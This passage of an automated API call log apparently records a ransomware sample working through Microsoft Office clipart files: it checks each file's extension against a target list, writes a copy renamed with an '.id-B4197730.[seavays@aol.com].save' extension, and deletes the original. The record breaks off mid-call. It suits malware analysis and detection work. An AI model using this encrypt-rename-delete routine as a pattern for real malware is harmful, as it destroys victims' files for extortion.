[0167.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.763] lstrlenW (lpString=".jpg") returned 4 [0167.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.763] lstrlenW (lpString=".doc") returned 4 [0167.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.763] lstrlenW (lpString=".docx") returned 5 [0167.763] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.763] lstrlenW (lpString=".pdf") returned 4 [0167.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.763] lstrlenW (lpString=".xls") returned 4 [0167.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.763] lstrlenW (lpString=".xlsx") returned 5 [0167.763] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.763] lstrlenW (lpString=".ppt") returned 4 [0167.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.763] lstrlenW (lpString=".zip") returned 4 [0167.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.763] lstrlenW (lpString=".rar") returned 4 [0167.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.763] lstrlenW (lpString=".bz2") returned 4 [0167.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.764] lstrlenW (lpString=".7z") returned 3 [0167.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.764] lstrlenW (lpString=".dbf") returned 4 [0167.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.764] lstrlenW (lpString=".1cd") returned 4 [0167.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0167.764] lstrlenW (lpString=".jpg") returned 4 [0167.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.764] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.764] lstrlenW (lpString="J0103262.WMF") returned 12 [0167.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0167.765] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=12900) returned 1 [0167.765] CloseHandle (hObject=0x510) returned 1 [0167.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0167.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0167.766] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.766] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0167.766] GetLastError () returned 0x0 [0167.766] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3264, lpOverlapped=0x0) returned 1 [0167.981] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3270, lpOverlapped=0x0) returned 1 [0167.983] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.983] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.983] SetEndOfFile (hFile=0x508) returned 1 [0167.983] CloseHandle (hObject=0x508) returned 1 [0167.983] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.984] SetEndOfFile (hFile=0x510) returned 1 [0167.988] CloseHandle (hObject=0x510) returned 1 [0167.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0168.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.365] lstrlenW (lpString=".doc") returned 4 [0168.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.365] lstrlenW (lpString=".docx") returned 5 [0168.365] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.365] lstrlenW (lpString=".pdf") returned 4 [0168.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.365] lstrlenW (lpString=".xls") returned 4 [0168.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.366] lstrlenW (lpString=".xlsx") returned 5 [0168.366] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.366] lstrlenW (lpString=".ppt") returned 4 [0168.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.366] lstrlenW (lpString=".zip") returned 4 [0168.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.366] lstrlenW (lpString=".rar") returned 4 [0168.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.366] lstrlenW (lpString=".bz2") returned 4 [0168.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.366] lstrlenW (lpString=".7z") returned 3 [0168.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.366] lstrlenW (lpString=".dbf") returned 4 [0168.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.366] lstrlenW (lpString=".1cd") returned 4 [0168.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.366] lstrlenW (lpString=".jpg") returned 4 [0168.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.366] lstrlenW (lpString=".doc") returned 4 [0168.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.366] lstrlenW (lpString=".docx") returned 5 [0168.367] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.367] lstrlenW (lpString=".pdf") returned 4 [0168.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.367] lstrlenW (lpString=".xls") returned 4 [0168.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.367] lstrlenW (lpString=".xlsx") returned 5 [0168.367] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.367] lstrlenW (lpString=".ppt") returned 4 [0168.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.367] lstrlenW (lpString=".zip") returned 4 [0168.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.367] lstrlenW (lpString=".rar") returned 4 [0168.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.367] lstrlenW (lpString=".bz2") returned 4 [0168.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.367] lstrlenW (lpString=".7z") returned 3 [0168.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.367] lstrlenW (lpString=".dbf") returned 4 [0168.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.367] lstrlenW (lpString=".1cd") returned 4 [0168.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0168.367] lstrlenW (lpString=".jpg") returned 4 [0168.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.368] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.368] lstrlenW (lpString="J0105266.WMF") returned 12 [0168.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.458] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=5908) returned 1 [0168.458] CloseHandle (hObject=0x520) returned 1 [0168.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0168.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.467] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.467] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.468] GetLastError () returned 0x0 [0168.468] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1714, lpOverlapped=0x0) returned 1 [0168.470] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1720, lpOverlapped=0x0) returned 1 [0168.471] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.471] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.471] SetEndOfFile (hFile=0x51c) returned 1 [0168.472] CloseHandle (hObject=0x51c) returned 1 [0168.472] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.472] SetEndOfFile (hFile=0x520) returned 1 [0168.475] CloseHandle (hObject=0x520) returned 1 [0168.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0168.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.477] lstrlenW (lpString=".doc") returned 4 [0168.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.477] lstrlenW (lpString=".docx") returned 5 [0168.477] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.477] lstrlenW (lpString=".pdf") returned 4 [0168.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.477] lstrlenW (lpString=".xls") returned 4 [0168.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.477] lstrlenW (lpString=".xlsx") returned 5 [0168.477] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.477] lstrlenW (lpString=".ppt") returned 4 [0168.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.477] lstrlenW (lpString=".zip") returned 4 [0168.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.477] lstrlenW (lpString=".rar") returned 4 [0168.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.477] lstrlenW (lpString=".bz2") returned 4 [0168.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.477] lstrlenW (lpString=".7z") returned 3 [0168.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.478] lstrlenW (lpString=".dbf") returned 4 [0168.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.478] lstrlenW (lpString=".1cd") returned 4 [0168.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.478] lstrlenW (lpString=".jpg") returned 4 [0168.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.478] lstrlenW (lpString=".doc") returned 4 [0168.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.478] lstrlenW (lpString=".docx") returned 5 [0168.478] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.478] lstrlenW (lpString=".pdf") returned 4 [0168.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.478] lstrlenW (lpString=".xls") returned 4 [0168.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.478] lstrlenW (lpString=".xlsx") returned 5 [0168.478] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.478] lstrlenW (lpString=".ppt") returned 4 [0168.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.478] lstrlenW (lpString=".zip") returned 4 [0168.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.479] lstrlenW (lpString=".rar") returned 4 [0168.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.479] lstrlenW (lpString=".bz2") returned 4 [0168.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.479] lstrlenW (lpString=".7z") returned 3 [0168.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.479] lstrlenW (lpString=".dbf") returned 4 [0168.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.479] lstrlenW (lpString=".1cd") returned 4 [0168.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0168.479] lstrlenW (lpString=".jpg") returned 4 [0168.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.479] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.479] lstrlenW (lpString="J0105272.WMF") returned 12 [0168.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.480] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=17728) returned 1 [0168.480] CloseHandle (hObject=0x520) returned 1 [0168.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0168.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.482] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.482] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.483] GetLastError () returned 0x0 [0168.483] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4540, lpOverlapped=0x0) returned 1 [0168.485] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4550, lpOverlapped=0x0) returned 1 [0168.486] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.487] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.487] SetEndOfFile (hFile=0x51c) returned 1 [0168.487] CloseHandle (hObject=0x51c) returned 1 [0168.487] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.487] SetEndOfFile (hFile=0x520) returned 1 [0168.495] CloseHandle (hObject=0x520) returned 1 [0168.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0168.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.497] lstrlenW (lpString=".doc") returned 4 [0168.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.497] lstrlenW (lpString=".docx") returned 5 [0168.497] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.497] lstrlenW (lpString=".pdf") returned 4 [0168.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.497] lstrlenW (lpString=".xls") returned 4 [0168.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.497] lstrlenW (lpString=".xlsx") returned 5 [0168.497] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.497] lstrlenW (lpString=".ppt") returned 4 [0168.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.497] lstrlenW (lpString=".zip") returned 4 [0168.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.497] lstrlenW (lpString=".rar") returned 4 [0168.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.497] lstrlenW (lpString=".bz2") returned 4 [0168.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.497] lstrlenW (lpString=".7z") returned 3 [0168.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.497] lstrlenW (lpString=".dbf") returned 4 [0168.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.498] lstrlenW (lpString=".1cd") returned 4 [0168.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.498] lstrlenW (lpString=".jpg") returned 4 [0168.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.498] lstrlenW (lpString=".doc") returned 4 [0168.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.498] lstrlenW (lpString=".docx") returned 5 [0168.498] lstrcmpiW (lpString1=".docx", 